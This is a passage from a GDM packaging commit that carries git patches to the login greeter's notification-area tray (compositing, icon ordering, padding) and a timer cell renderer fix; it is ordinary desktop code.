+  /* The visual property is a hint to the tray icons as to what visual they
+   * should use for their windows. If the X server has RGBA colormaps, then
+   * we tell the tray icons to use a RGBA colormap and we'll composite the
+   * icon onto its parents with real transparency. Otherwise, we just tell
+   * the icon to use our colormap, and we'll do some hacks with parent
+   * relative backgrounds to simulate transparency.
+   */
+
+  display = gtk_widget_get_display (manager->invisible);
+  visual_atom = gdk_x11_get_xatom_by_name_for_display (display,
+						       "_NET_SYSTEM_TRAY_VISUAL");
+
+  if (gdk_screen_get_rgba_visual (manager->screen) != NULL &&
+      gdk_display_supports_composite (display))
+    {
+      xvisual = GDK_VISUAL_XVISUAL (gdk_screen_get_rgba_visual (manager->screen));
+    }
+  else
+    {
+      /* We actually want the visual of the tray where the icons will
+       * be embedded. In almost all cases, this will be the same as the visual
+       * of the screen.
+       */
+      GdkColormap *colormap;
+
+      colormap = gdk_screen_get_default_colormap (manager->screen);
+      xvisual = GDK_VISUAL_XVISUAL (gdk_colormap_get_visual (colormap));
+    }
+
+  data[0] = XVisualIDFromVisual (xvisual);
+
+  XChangeProperty (GDK_DISPLAY_XDISPLAY (display),
+                   GDK_WINDOW_XWINDOW (manager->invisible->window),
+                   visual_atom,
+                   XA_VISUALID, 32,
+                   PropModeReplace,
+                   (guchar *) &data, 1);
+#endif
+}
+
 #ifdef GDK_WINDOWING_X11
 
 static gboolean
@@ -682,6 +675,9 @@ na_tray_manager_manage_screen_x11 (NaTrayManager *manager,
   if (na_tray_manager_check_running_screen_x11 (screen))
     return FALSE;
 #endif
+  
+  manager->screen = screen;
+
   display = gdk_screen_get_display (screen);
   xscreen = GDK_SCREEN_XSCREEN (screen);
   
@@ -696,7 +692,11 @@ na_tray_manager_manage_screen_x11 (NaTrayManager *manager,
   manager->selection_atom = gdk_atom_intern (selection_atom_name, FALSE);
   g_free (selection_atom_name);
 
+  manager->invisible = invisible;
+  g_object_ref (G_OBJECT (manager->invisible));
+
   na_tray_manager_set_orientation_property (manager);
+  na_tray_manager_set_visual_property (manager);
   
   timestamp = gdk_x11_get_server_time (invisible->window);
 
@@ -728,9 +728,6 @@ na_tray_manager_manage_screen_x11 (NaTrayManager *manager,
 		  RootWindowOfScreen (xscreen),
 		  False, StructureNotifyMask, (XEvent *)&xev);
 
-      manager->invisible = invisible;
-      g_object_ref (G_OBJECT (manager->invisible));
-      
       opcode_atom = gdk_atom_intern ("_NET_SYSTEM_TRAY_OPCODE", FALSE);
       manager->opcode_atom = gdk_x11_atom_to_xatom_for_display (display,
                                                                 opcode_atom);
@@ -761,6 +758,10 @@ na_tray_manager_manage_screen_x11 (NaTrayManager *manager,
   else
     {
       gtk_widget_destroy (invisible);
+      g_object_unref (invisible);
+      manager->invisible = NULL;
+
+      manager->screen = NULL;
  
       return FALSE;
     }
@@ -819,67 +820,6 @@ na_tray_manager_check_running (GdkScreen *screen)
 #endif
 }
 
-char *
-na_tray_manager_get_child_title (NaTrayManager      *manager,
-				 NaTrayManagerChild *child)
-{
-  char *retval = NULL;
-#ifdef GDK_WINDOWING_X11
-  GdkDisplay *display;
-  Window *child_window;
-  Atom utf8_string, atom, type;
-  int result;
-  int format;
-  gulong nitems;
-  gulong bytes_after;
-  gchar *val;
-
-  g_return_val_if_fail (NA_IS_TRAY_MANAGER (manager), NULL);
-  g_return_val_if_fail (GTK_IS_SOCKET (child), NULL);
-  
-  display = gdk_screen_get_display (manager->screen);
-
-  child_window = g_object_get_data (G_OBJECT (child),
-				    "na-tray-child-window");
-
-  utf8_string = gdk_x11_get_xatom_by_name_for_display (display, "UTF8_STRING");
-  atom = gdk_x11_get_xatom_by_name_for_display (display, "_NET_WM_NAME");
-
-  gdk_error_trap_push ();
-
-  result = XGetWindowProperty (GDK_DISPLAY_XDISPLAY (display),
-			       *child_window,
-			       atom,
-			       0, G_MAXLONG,
-			       False, utf8_string,
-			       &type, &format, &nitems,
-			       &bytes_after, (guchar **)&val);
-  
-  if (gdk_error_trap_pop () || result != Success)
-    return NULL;
-
-  if (type != utf8_string ||
-      format != 8 ||
-      nitems == 0)
-    {
-      if (val)
-	XFree (val);
-      return NULL;
-    }
-
-  if (!g_utf8_validate (val, nitems, NULL))
-    {
-      XFree (val);
-      return NULL;
-    }
-
-  retval = g_strndup (val, nitems);
-
-  XFree (val);
-#endif
-  return retval;
-}
-
 void
 na_tray_manager_set_orientation (NaTrayManager  *manager,
 				 GtkOrientation  orientation)
diff --git a/gui/simple-greeter/libnotificationarea/na-tray-manager.h b/gui/simple-greeter/libnotificationarea/na-tray-manager.h
index a1781a7..f325453 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray-manager.h
+++ b/gui/simple-greeter/libnotificationarea/na-tray-manager.h
@@ -24,10 +24,12 @@
 #ifndef __NA_TRAY_MANAGER_H__
 #define __NA_TRAY_MANAGER_H__
 
-#include <gtk/gtk.h>
 #ifdef GDK_WINDOWING_X11
 #include <gdk/gdkx.h>
 #endif
+#include <gtk/gtk.h>
+
+#include "na-tray-child.h"
 
 G_BEGIN_DECLS
 
@@ -40,7 +42,6 @@ G_BEGIN_DECLS
 	
 typedef struct _NaTrayManager	    NaTrayManager;
 typedef struct _NaTrayManagerClass  NaTrayManagerClass;
-typedef struct _NaTrayManagerChild  NaTrayManagerChild;
 
 struct _NaTrayManager
 {
@@ -64,18 +65,18 @@ struct _NaTrayManagerClass
   GObjectClass parent_class;
 
   void (* tray_icon_added)   (NaTrayManager      *manager,
-			      NaTrayManagerChild *child);
+			      NaTrayChild        *child);
   void (* tray_icon_removed) (NaTrayManager      *manager,
-			      NaTrayManagerChild *child);
+			      NaTrayChild        *child);
 
   void (* message_sent)      (NaTrayManager      *manager,
-			      NaTrayManagerChild *child,
+			      NaTrayChild        *child,
 			      const gchar        *message,
 			      glong               id,
 			      glong               timeout);
   
   void (* message_cancelled) (NaTrayManager      *manager,
-			      NaTrayManagerChild *child,
+			      NaTrayChild        *child,
 			      glong               id);
 
   void (* lost_selection)    (NaTrayManager      *manager);
@@ -87,8 +88,6 @@ gboolean        na_tray_manager_check_running   (GdkScreen          *screen);
 NaTrayManager  *na_tray_manager_new             (void);
 gboolean        na_tray_manager_manage_screen   (NaTrayManager      *manager,
 						 GdkScreen          *screen);
-char           *na_tray_manager_get_child_title (NaTrayManager      *manager,
-						 NaTrayManagerChild *child);
 void            na_tray_manager_set_orientation (NaTrayManager      *manager,
 						 GtkOrientation      orientation);
 GtkOrientation  na_tray_manager_get_orientation (NaTrayManager      *manager);
diff --git a/gui/simple-greeter/libnotificationarea/na-tray.c b/gui/simple-greeter/libnotificationarea/na-tray.c
index 7192717..051a811 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray.c
+++ b/gui/simple-greeter/libnotificationarea/na-tray.c
@@ -12,7 +12,7 @@
  * WITHOUT ANY WARRANTY; without even the implied warranty of
  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  * General Public License for more details.
- *
+ * 
  * You should have received a copy of the GNU General Public License
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
@@ -26,7 +26,6 @@
 
 #include "na-tray-manager.h"
 #include "fixedtip.h"
-#include "obox.h"
 
 #include "na-tray.h"
 
@@ -83,6 +82,27 @@ static TraysScreen *trays_screens = NULL;
 
 static void icon_tip_show_next (IconTip *icontip);
 
+/* NaBox, an instantiable GtkBox */
+
+typedef GtkBox      NaBox;
+typedef GtkBoxClass NaBoxClass;
+
+static GType na_box_get_type (void);
+
+G_DEFINE_TYPE (NaBox, na_box, GTK_TYPE_BOX)
+
+static void
+na_box_init (NaBox *box)
+{
+}
+
+static void
+na_box_class_init (NaBoxClass *klass)
+{
+}
+
+/* NaTray */
+
 G_DEFINE_TYPE (NaTray, na_tray, GTK_TYPE_BIN)
 
 static NaTray *
@@ -115,7 +135,6 @@ tray_added (NaTrayManager *manager,
   gtk_box_pack_end (GTK_BOX (priv->box), icon, FALSE, FALSE, 0);
 
   gtk_widget_show (icon);
-  na_tray_force_redraw (tray);
 }
 
 static void
@@ -131,8 +150,6 @@ tray_removed (NaTrayManager *manager,
 
   g_assert (tray->priv->trays_screen == trays_screen);
 
-  na_tray_force_redraw (tray);
-
   g_hash_table_remove (trays_screen->icon_table, icon);
   /* this will also destroy the tip associated to this icon */
   g_hash_table_remove (trays_screen->tip_table, icon);
@@ -247,8 +264,9 @@ icon_tip_show_next (IconTip *icontip)
   icontip->id = buffer->id;
 
   if (buffer->timeout > 0)
-    icontip->source_id = g_timeout_add (buffer->timeout * 1000,
-                                        icon_tip_show_next_timeout, icontip);
+    icontip->source_id = g_timeout_add_seconds (buffer->timeout,
+                                                icon_tip_show_next_timeout,
+                                                icontip);
 
   icon_tip_buffer_free (buffer, NULL);
 }
@@ -375,7 +393,7 @@ update_size_and_orientation (NaTray *tray)
 {
   NaTrayPrivate *priv = tray->priv;
 
-  na_obox_set_orientation (NA_OBOX (priv->box), priv->orientation);
+  gtk_orientable_set_orientation (GTK_ORIENTABLE (priv->box), priv->orientation);
 
   /* This only happens when setting the property during object construction */
   if (!priv->trays_screen)
@@ -399,8 +417,38 @@ update_size_and_orientation (NaTray *tray)
       gtk_widget_set_size_request (priv->box, -1, MIN_BOX_SIZE);
       break;
     }
+}
 
-  na_tray_force_redraw (tray);
+/* Children with alpha channels have been set to be composited by calling
+ * gdk_window_set_composited(). We need to paint these children ourselves.
+ */
+static void
+na_tray_expose_icon (GtkWidget *widget,
+		     gpointer   data)
+{
+  cairo_t *cr = data;
+
+  if (na_tray_child_has_alpha (NA_TRAY_CHILD (widget)))
+    {
+      gdk_cairo_set_source_pixmap (cr, widget->window,
+				   widget->allocation.x,
+				   widget->allocation.y);
+      cairo_paint (cr);
+    }
+}
+
+static void
+na_tray_expose_box (GtkWidget      *box,
+		    GdkEventExpose *event)
+{
+  cairo_t *cr = gdk_cairo_create (box->window);
+
+  gdk_cairo_region (cr, event->region);
+  cairo_clip (cr);
+
+  gtk_container_foreach (GTK_CONTAINER (box), na_tray_expose_icon, cr);
+
+  cairo_destroy (cr);
 }
 
 static void
@@ -417,7 +465,9 @@ na_tray_init (NaTray *tray)
   gtk_container_add (GTK_CONTAINER (tray), priv->frame);
   gtk_widget_show (priv->frame);
 
-  priv->box = na_obox_new ();
+  priv->box = g_object_new (na_box_get_type (), NULL);
+  g_signal_connect (priv->box, "expose-event",
+		    G_CALLBACK (na_tray_expose_box), tray);
   gtk_box_set_spacing (GTK_BOX (priv->box), ICON_SPACING);
   gtk_container_add (GTK_CONTAINER (priv->frame), priv->box);
   gtk_widget_show (priv->box);
@@ -658,9 +708,9 @@ idle_redraw_cb (NaTray *tray)
 {
   NaTrayPrivate *priv = tray->priv;
 
+  gtk_container_foreach (GTK_CONTAINER (priv->box), (GtkCallback)na_tray_child_force_redraw, tray);
+  
   priv->idle_redraw_id = 0;
-  gtk_widget_hide (priv->box);
-  gtk_widget_show (priv->box);
 
   return FALSE;
 }
@@ -671,8 +721,6 @@ na_tray_force_redraw (NaTray *tray)
   NaTrayPrivate *priv = tray->priv;
 
   /* Force the icons to redraw their backgrounds.
-   * gtk_widget_queue_draw() doesn't work across process boundaries,
-   * so we do this instead.
    */
   if (priv->idle_redraw_id == 0)
     priv->idle_redraw_id = g_idle_add ((GSourceFunc) idle_redraw_cb, tray);
diff --git a/gui/simple-greeter/libnotificationarea/na-tray.h b/gui/simple-greeter/libnotificationarea/na-tray.h
index f67062b..57baddd 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray.h
+++ b/gui/simple-greeter/libnotificationarea/na-tray.h
@@ -24,10 +24,10 @@
 #ifndef __NA_TRAY_H__
 #define __NA_TRAY_H__
 
-#include <gtk/gtk.h>
 #ifdef GDK_WINDOWING_X11
 #include <gdk/gdkx.h>
 #endif
+#include <gtk/gtk.h>
 
 G_BEGIN_DECLS
 
@@ -41,7 +41,6 @@ G_BEGIN_DECLS
 typedef struct _NaTray		NaTray;
 typedef struct _NaTrayPrivate	NaTrayPrivate;
 typedef struct _NaTrayClass	NaTrayClass;
-typedef struct _NaTrayChild	NaTrayChild;
 
 struct _NaTray
 {
diff --git a/gui/simple-greeter/libnotificationarea/testtray.c b/gui/simple-greeter/libnotificationarea/testtray.c
index 42d3732..c0300b6 100644
--- a/gui/simple-greeter/libnotificationarea/testtray.c
+++ b/gui/simple-greeter/libnotificationarea/testtray.c
@@ -66,7 +66,7 @@ static void
 tray_added_cb (GtkContainer *box, GtkWidget *icon, TrayData *data)
 {
   g_print ("[Screen %u tray %p] Child %p added to tray: \"%s\"\n",
-	   data->screen_num, data->tray, icon, "XXX");//na_tray_manager_get_child_title (manager, icon));
+	   data->screen_num, data->tray, icon, "XXX");//na_tray_child_get_title (icon));
 
   update_child_count (data);
 }
-- 
1.6.5.rc2


>From b2bd208cd0057e25b0aac380d519376b243537e0 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 22 Oct 2009 22:07:52 -0400
Subject: [PATCH 2/4] Add ordering patch to na-tray

This makes sure system utilities come up in the right order.
---
 .../libnotificationarea/na-tray-child.c            |   81 ++++++++++++++++++
 .../libnotificationarea/na-tray-child.h            |    5 +-
 gui/simple-greeter/libnotificationarea/na-tray.c   |   89 +++++++++++++++++++-
 3 files changed, 172 insertions(+), 3 deletions(-)

diff --git a/gui/simple-greeter/libnotificationarea/na-tray-child.c b/gui/simple-greeter/libnotificationarea/na-tray-child.c
index c7e3f61..98769bd 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray-child.c
+++ b/gui/simple-greeter/libnotificationarea/na-tray-child.c
@@ -428,3 +428,84 @@ na_tray_child_force_redraw (NaTrayChild *child)
 #endif
     }
 }
+
+
+/* from libwnck xutils.c */
+static char *
+latin1_to_utf8 (const char *latin1)
+{
+  GString *str;
+  const char *p;
+
+  str = g_string_new (NULL);
+
+  p = latin1;
+  while (*p)
+    {
+      g_string_append_unichar (str, (gunichar) *p);
+      ++p;
+    }
+
+  return g_string_free (str, FALSE);
+}
+
+/* derived from libwnck xutils.c */
+static void
+_get_wmclass (Display *xdisplay,
+              Window   xwindow,
+              char   **res_class,
+              char   **res_name)
+{
+  XClassHint ch;
+  char *retval;
+
+  gdk_error_trap_push ();
+
+  ch.res_name = NULL;
+  ch.res_class = NULL;
+
+  XGetClassHint (xdisplay, xwindow, &ch);
+
+  gdk_error_trap_pop ();
+
+  retval = NULL;
+
+  if (res_class)
+    *res_class = NULL;
+
+  if (res_name)
+    *res_name = NULL;
+
+  if (ch.res_name)
+    {
+      if (res_name)
+        *res_name = latin1_to_utf8 (ch.res_name);
+
+      XFree (ch.res_name);
+    }
+
+  if (ch.res_class)
+    {
+      if (res_class)
+        *res_class = latin1_to_utf8 (ch.res_class);
+
+      XFree (ch.res_class);
+    }
+}
+
+void
+na_tray_child_get_wm_class (NaTrayChild *child,
+                            char **res_name,
+                            char **res_class)
+{
+  GdkDisplay *display;
+
+  g_return_if_fail (NA_IS_TRAY_CHILD (child));
+
+  display = gtk_widget_get_display (GTK_WIDGET (child));
+
+  _get_wmclass (GDK_DISPLAY_XDISPLAY (display),
+                child->icon_window,
+                res_class,
+                res_name);
+}
diff --git a/gui/simple-greeter/libnotificationarea/na-tray-child.h b/gui/simple-greeter/libnotificationarea/na-tray-child.h
index c174abe..ff036a7 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray-child.h
+++ b/gui/simple-greeter/libnotificationarea/na-tray-child.h
@@ -61,7 +61,10 @@ char           *na_tray_child_get_title      (NaTrayChild *child);
 gboolean        na_tray_child_has_alpha      (NaTrayChild *child);
 void            na_tray_child_set_composited (NaTrayChild *child,
                                               gboolean     composited);
-void            na_tray_child_force_redraw   (NaTrayChild *child);
+void            na_tray_child_force_redraw   (NaTrayChild  *child);
+void            na_tray_child_get_wm_class   (NaTrayChild  *child,
+					      char        **res_name,
+			     		      char        **res_class);
 
 G_END_DECLS
 
diff --git a/gui/simple-greeter/libnotificationarea/na-tray.c b/gui/simple-greeter/libnotificationarea/na-tray.c
index 051a811..3bd1258 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray.c
+++ b/gui/simple-greeter/libnotificationarea/na-tray.c
@@ -114,6 +114,51 @@ get_tray (TraysScreen *trays_screen)
   return trays_screen->all_trays->data;
 }
 
+const char *roles[] = {
+  "keyboard",
+  "volume",
+  "bluetooth",
+  "network",
+  "battery",
+  NULL
+};
+
+const char *wmclass_roles[] = {
+  "Bluetooth-applet", "bluetooth",
+  "Gnome-volume-control-applet", "volume",
+  "Nm-applet", "network",
+  "Gnome-power-manager", "battery",
+  NULL,
+};
+
+static const char *
+find_role (const char *wmclass)
+{
+  int i;
+
+  for (i = 0; wmclass_roles[i]; i += 2)
+    {
+      if (strcmp (wmclass, wmclass_roles[i]) == 0)
+        return wmclass_roles[i + 1];
+    }
+
+  return NULL;
+}
+
+static int
+find_role_pos (const char *role)
+{
+  int i;
+
+  for (i = 0; roles[i]; i++)
+    {
+      if (strcmp (role, roles[i]) == 0)
+        break;
+    }
+
+  return i + 1;
+}
+
 static void
 tray_added (NaTrayManager *manager,
             GtkWidget     *icon,
@@ -121,6 +166,11 @@ tray_added (NaTrayManager *manager,
 {
   NaTray *tray;
   NaTrayPrivate *priv;
+  GList *l, *children;
+  int position;
+  char *class_a;
+  const char *role;
+  int role_position;
 
   tray = get_tray (trays_screen);
   if (tray == NULL)
@@ -129,10 +179,45 @@ tray_added (NaTrayManager *manager,
   priv = tray->priv;
 
   g_assert (priv->trays_screen == trays_screen);
-  
+
   g_hash_table_insert (trays_screen->icon_table, icon, tray);
 
-  gtk_box_pack_end (GTK_BOX (priv->box), icon, FALSE, FALSE, 0);
+  position = 0;
+
+  class_a = NULL;
+  na_tray_child_get_wm_class (NA_TRAY_CHILD (icon), NULL, &class_a);
+  if (!class_a)
+    goto insert;
+
+  role = find_role (class_a);
+  g_free (class_a);
+  if (!role)
+    goto insert;
+
+  role_position = find_role_pos (role);
+  g_object_set_data (G_OBJECT (icon), "role-position", GINT_TO_POINTER (role_position));
+
+  children = gtk_container_get_children (GTK_CONTAINER (priv->box));
+  for (l = g_list_last (children); l; l = l->prev)
+    {
+      GtkWidget *child = l->data;
+      gint rp;
+
+      rp = GPOINTER_TO_INT (g_object_get_data (G_OBJECT (child), "role-position"));
+      if (rp == 0 || rp < role_position)
+        {
+          position = g_list_index (children, child) + 1;
+          break;
+        }
+    }
+  g_list_free (children);
+
+  if (position < 0)
+    position = 0;
+
+insert:
+  gtk_box_pack_start (GTK_BOX (priv->box), icon, FALSE, FALSE, 0);
+  gtk_box_reorder_child (GTK_BOX (priv->box), icon, position);
 
   gtk_widget_show (icon);
 }
-- 
1.6.5.rc2


>From ab7c74cca138c404338ebaf3ee3c1e3f6e92f083 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 22 Oct 2009 22:08:18 -0400
Subject: [PATCH 3/4] Add the ability to have padding between icons in tray

---
 .../libnotificationarea/na-tray-manager.c          |   41 ++++++++++++++++++++
 .../libnotificationarea/na-tray-manager.h          |    3 +
 gui/simple-greeter/libnotificationarea/na-tray.c   |   12 ++++++
 gui/simple-greeter/libnotificationarea/na-tray.h   |    2 +
 4 files changed, 58 insertions(+), 0 deletions(-)

diff --git a/gui/simple-greeter/libnotificationarea/na-tray-manager.c b/gui/simple-greeter/libnotificationarea/na-tray-manager.c
index 1bf54f1..d49c646 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray-manager.c
+++ b/gui/simple-greeter/libnotificationarea/na-tray-manager.c
@@ -653,6 +653,32 @@ na_tray_manager_set_visual_property (NaTrayManager *manager)
 #endif
 }
 
+static void
+na_tray_manager_set_padding_property (NaTrayManager *manager)
+{
+#ifdef GDK_WINDOWING_X11
+  GdkDisplay *display;
+  Atom        orientation_atom;
+  gulong      data[1];
+
+  if (!manager->invisible || !manager->invisible->window)
+    return;
+
+  display = gtk_widget_get_display (manager->invisible);
+  orientation_atom = gdk_x11_get_xatom_by_name_for_display (display,
+                                                            "_NET_SYSTEM_TRAY_PADDING");
+
+  data[0] = manager->padding;
+
+  XChangeProperty (GDK_DISPLAY_XDISPLAY (display),
+		   GDK_WINDOW_XWINDOW (manager->invisible->window),
+                   orientation_atom,
+		   XA_CARDINAL, 32,
+		   PropModeReplace,
+		   (guchar *) &data, 1);
+#endif
+}
+
 #ifdef GDK_WINDOWING_X11
 
 static gboolean
@@ -697,6 +723,7 @@ na_tray_manager_manage_screen_x11 (NaTrayManager *manager,
 
   na_tray_manager_set_orientation_property (manager);
   na_tray_manager_set_visual_property (manager);
+  na_tray_manager_set_padding_property (manager);
   
   timestamp = gdk_x11_get_server_time (invisible->window);
 
@@ -836,6 +863,20 @@ na_tray_manager_set_orientation (NaTrayManager  *manager,
     }
 }
 
+void
+na_tray_manager_set_padding (NaTrayManager *manager,
+                             gint           padding)
+{
+  g_return_if_fail (NA_IS_TRAY_MANAGER (manager));
+
+  if (manager->padding != padding)
+    {
+      manager->padding = padding;
+
+      na_tray_manager_set_padding_property (manager);
+    }
+}
+
 GtkOrientation
 na_tray_manager_get_orientation (NaTrayManager *manager)
 {
diff --git a/gui/simple-greeter/libnotificationarea/na-tray-manager.h b/gui/simple-greeter/libnotificationarea/na-tray-manager.h
index f325453..e93882e 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray-manager.h
+++ b/gui/simple-greeter/libnotificationarea/na-tray-manager.h
@@ -55,6 +55,7 @@ struct _NaTrayManager
   GtkWidget *invisible;
   GdkScreen *screen;
   GtkOrientation orientation;
+  gint padding;
 
   GList *messages;
   GHashTable *socket_table;
@@ -91,6 +92,8 @@ gboolean        na_tray_manager_manage_screen   (NaTrayManager      *manager,
 void            na_tray_manager_set_orientation (NaTrayManager      *manager,
 						 GtkOrientation      orientation);
 GtkOrientation  na_tray_manager_get_orientation (NaTrayManager      *manager);
+void            na_tray_manager_set_padding      (NaTrayManager      *manager,
+						  gint                padding);
 
 G_END_DECLS
 
diff --git a/gui/simple-greeter/libnotificationarea/na-tray.c b/gui/simple-greeter/libnotificationarea/na-tray.c
index 3bd1258..40845c1 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray.c
+++ b/gui/simple-greeter/libnotificationarea/na-tray.c
@@ -599,6 +599,8 @@ na_tray_constructor (GType type,
         {
           trays_screens [screen_number].tray_manager = tray_manager;
 
+          na_tray_manager_set_padding (tray_manager, 0);
+
           g_signal_connect (tray_manager, "tray_icon_added",
                             G_CALLBACK (tray_added),
                             &trays_screens [screen_number]);
@@ -801,6 +803,16 @@ idle_redraw_cb (NaTray *tray)
 }
 
 void
+na_tray_set_padding (NaTray *tray,
+                     gint    padding)
+{
+  NaTrayPrivate *priv = tray->priv;
+
+  if (get_tray (priv->trays_screen) == tray)
+    na_tray_manager_set_padding (priv->trays_screen->tray_manager, padding);
+}
+
+void
 na_tray_force_redraw (NaTray *tray)
 {
   NaTrayPrivate *priv = tray->priv;
diff --git a/gui/simple-greeter/libnotificationarea/na-tray.h b/gui/simple-greeter/libnotificationarea/na-tray.h
index 57baddd..1ead20f 100644
--- a/gui/simple-greeter/libnotificationarea/na-tray.h
+++ b/gui/simple-greeter/libnotificationarea/na-tray.h
@@ -60,6 +60,8 @@ NaTray         *na_tray_new_for_screen  (GdkScreen     *screen,
 void            na_tray_set_orientation	(NaTray        *tray,
 					 GtkOrientation orientation);
 GtkOrientation  na_tray_get_orientation (NaTray        *tray);
+void            na_tray_set_padding     (NaTray        *tray,
+                                         gint           padding);
 void		na_tray_force_redraw	(NaTray        *tray);
 
 G_END_DECLS
-- 
1.6.5.rc2


>From 050879701489074492a35b0427f0ac7cf21ebf82 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 22 Oct 2009 22:13:58 -0400
Subject: [PATCH 4/4] Read padding from notification area applet and use it.

---
 gui/simple-greeter/gdm-greeter-panel.c |    5 +++++
 1 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/gui/simple-greeter/gdm-greeter-panel.c b/gui/simple-greeter/gdm-greeter-panel.c
index 03c4122..43b91d5 100644
--- a/gui/simple-greeter/gdm-greeter-panel.c
+++ b/gui/simple-greeter/gdm-greeter-panel.c
@@ -65,6 +65,7 @@
 #define GPM_DBUS_INTERFACE "org.freedesktop.PowerManagement"
 
 #define KEY_DISABLE_RESTART_BUTTONS "/apps/gdm/simple-greeter/disable_restart_buttons"
+#define KEY_NOTIFICATION_AREA_PADDING "/apps/notification_area_applet/prefs/padding"
 
 #define GDM_GREETER_PANEL_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GDM_TYPE_GREETER_PANEL, GdmGreeterPanelPrivate))
 
@@ -824,6 +825,7 @@ gdm_greeter_panel_init (GdmGreeterPanel *panel)
 {
         NaTray    *tray;
         GtkWidget *spacer;
+        int padding;
 
         gdm_profile_start (NULL);
 
@@ -955,6 +957,9 @@ gdm_greeter_panel_init (GdmGreeterPanel *panel)
 
         tray = na_tray_new_for_screen (gtk_window_get_screen (GTK_WINDOW (panel)),
                                        GTK_ORIENTATION_HORIZONTAL);
+
+        padding = gconf_client_get_int (panel->priv->client, KEY_NOTIFICATION_AREA_PADDING, NULL);
+        na_tray_set_padding (tray, padding);
         gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (tray), FALSE, FALSE, 6);
         gtk_widget_show (GTK_WIDGET (tray));
         gdm_greeter_panel_hide_user_options (panel);
-- 
1.6.5.rc2


fix-timer.patch:
 b/gui/simple-greeter/gdm-cell-renderer-timer.c |   13 ++-----------
 gui/simple-greeter/gdm-cell-renderer-timer.c   |    2 --
 2 files changed, 2 insertions(+), 13 deletions(-)

--- NEW FILE fix-timer.patch ---
>From 88d4e5d79ca5ded0f9e88af67044d53342ff0897 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 22 Oct 2009 17:39:27 -0400
Subject: [PATCH 1/2] Force cell renderer to be a specific height

Before it was growing and shrinking all the time causing,
flicker.
---
 gui/simple-greeter/gdm-cell-renderer-timer.c |   12 ++----------
 1 files changed, 2 insertions(+), 10 deletions(-)

diff --git a/gui/simple-greeter/gdm-cell-renderer-timer.c b/gui/simple-greeter/gdm-cell-renderer-timer.c
index 7918b48..9453d7e 100644
--- a/gui/simple-greeter/gdm-cell-renderer-timer.c
+++ b/gui/simple-greeter/gdm-cell-renderer-timer.c
@@ -108,19 +108,11 @@ gdm_cell_renderer_timer_get_size (GtkCellRenderer *cell,
         }
 
         if (width != NULL) {
-                if (cell->width >= 0) {
-                        *width = cell->width;
-                } else {
-                        *width = renderer->priv->value <= G_MINDOUBLE?  0 : 64;
-                }
+                *width = cell->xpad * 2 + 42;
         }
 
         if (height != NULL) {
-                if (cell->height >= 0) {
-                        *height = cell->height;
-                } else {
-                        *height = renderer->priv->value <= G_MINDOUBLE?  0 : 64;
-                }
+                *height = cell->ypad * 2 + 42;
         }
 }
 
-- 
1.6.5.rc2


>From a87b05fac2c2de7cff80a183e397f33416bfc893 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 22 Oct 2009 17:45:13 -0400
Subject: [PATCH 2/2] Drop set_operator (SOURCE) in cell renderer

I'm not sure why I was doing it, when it looks
find using OVER, so I'm going to take it out.
---
 gui/simple-greeter/gdm-cell-renderer-timer.c |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/gui/simple-greeter/gdm-cell-renderer-timer.c b/gui/simple-greeter/gdm-cell-renderer-timer.c
index 9453d7e..0fb404c 100644
--- a/gui/simple-greeter/gdm-cell-renderer-timer.c
+++ b/gui/simple-greeter/gdm-cell-renderer-timer.c
@@ -164,7 +164,6 @@ draw_timer (GdmCellRendererTimer *renderer,
         cairo_arc (context, 0, 0, radius + 1, 0, 2 * G_PI);
         cairo_fill (context);
 
-        cairo_set_operator (context, CAIRO_OPERATOR_SOURCE);
         cairo_set_source_rgb (context,
                               bg->red / 65535.0,
                               bg->green / 65535.0,
-- 
1.6.5.rc2

gdm-2.28.1-move-shutdown-functions.patch:
 b/gui/simple-greeter/Makefile.am                    |    2 
 b/gui/simple-greeter/gdm-greeter-login-window.c     |  294 --------------------
 b/gui/simple-greeter/gdm-greeter-login-window.glade |  194 -------------
 b/gui/simple-greeter/gdm-greeter-panel.c            |  263 +++++++++++++++++
 b/gui/simple-greeter/gdm-greeter-panel.h            |    3 
 b/gui/simple-greeter/gdm-greeter-session.c          |    4 
 b/gui/simple-greeter/test-greeter-panel.c           |    3 
 gui/simple-greeter/gdm-greeter-panel.c              |   89 ++++--
 8 files changed, 334 insertions(+), 518 deletions(-)

Index: gdm-2.28.1-move-shutdown-functions.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-2.28.1-move-shutdown-functions.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gdm-2.28.1-move-shutdown-functions.patch	20 Oct 2009 23:45:00 -0000	1.1
+++ gdm-2.28.1-move-shutdown-functions.patch	23 Oct 2009 02:27:30 -0000	1.2
@@ -1,7 +1,82 @@
-diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c
---- gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c.move-shutdown-functions	2009-10-20 18:10:14.222638248 -0400
-+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c	2009-10-20 18:16:01.124636507 -0400
-@@ -37,11 +37,6 @@
+commit 7b3be6884096a2d21af3c6c26090641c16988b15
+Merge: f0a0955 4c20614
